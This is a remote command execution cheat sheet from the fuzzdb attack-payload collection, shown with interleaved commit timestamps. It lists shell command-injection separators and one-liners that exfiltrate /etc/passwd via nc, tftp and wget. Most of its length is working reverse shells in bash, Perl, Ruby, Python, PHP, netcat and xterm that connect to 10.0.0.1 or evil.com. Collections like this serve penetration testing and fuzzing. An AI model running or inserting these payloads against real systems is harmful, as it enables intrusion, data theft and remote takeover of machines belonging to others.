fuzzdb/attack/os-cmd-execution/README.md

92 lines
1.9 KiB
Markdown
Raw Normal View History

2015-09-11 23:39:11 +00:00
Remote Command Exec Cheatsheet
2015-09-16 02:42:00 +00:00
File notes
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
**source-disc-cmd-exec-traversal.fuzz.txt**
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
usage
2015-09-16 02:38:48 +00:00
```GET /path/*payload*relative/path/to/target/file/```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
**Executing Commands**
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
Seperating Commands
2015-09-16 02:42:43 +00:00
``` blah;blah2 ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
PIPES
``` blah ^ blah 2```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
AND
2015-09-16 02:38:48 +00:00
```blah && blah2```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
OR
2015-09-16 02:38:48 +00:00
```FAIL || X```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
OR
``` blah%0Dblah2%0Dblah3 ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
Backtick
2015-09-16 02:38:48 +00:00
``` `blah` ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
Background
``` `blah & blah2` ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
**Exfiltrating Files / Data**
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
FTP
2015-09-11 23:39:11 +00:00
Make a new text file, and echo and then redirect to FTP
2015-09-16 02:42:00 +00:00
NC
2015-09-16 02:38:48 +00:00
``` 'nc -e /bin/sh' ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
NC
2015-09-16 02:38:48 +00:00
``` 'echo /etc/passwd | nc host port' ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:42:00 +00:00
TFTP
2015-09-16 02:38:48 +00:00
``` 'echo put /etc/passwd | tftp host' ```
2015-09-11 23:39:11 +00:00
WGET:
2015-09-16 02:38:48 +00:00
``` 'wget --post-file /etc/passwd' ```
2015-09-11 23:39:11 +00:00
2015-09-16 02:38:48 +00:00
**One-Liner Reverse Shells**
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
On the listener
``` $ nc -l -p 8080 -vvv' ```
2011-09-06 15:52:21 +00:00
On the remote host...
Bash:
2015-09-16 02:42:00 +00:00
``` $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ```
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
``` $ exec 5<>/dev/tcp/evil.com/8080 ```
2015-09-16 02:38:48 +00:00
'$ cat <&5 | while read line; do $line 2>&5 >&5; done'
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
Perl
```$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ```
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
Ruby
``` $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ```
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
Python
``` $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ```
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
PHP
``` $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ```
2011-09-06 15:52:21 +00:00
(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)
2015-09-16 02:42:00 +00:00
Netcat
``` $ nc -e /bin/sh 10.0.0.1 1234 ```
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ```
2011-09-06 15:52:21 +00:00
2015-09-16 02:42:00 +00:00
```
2011-09-06 15:52:21 +00:00
XTERM:
Server:
$ xterm -display 10.0.0.1:1
Listener:
$ Xnest :1
$ xhost +targetip
2015-09-16 02:42:00 +00:00
```
2011-09-06 15:52:21 +00:00
2015-09-11 23:39:11 +00:00
More docs: /docs/attack-docs/remote-cmd-exfiltration/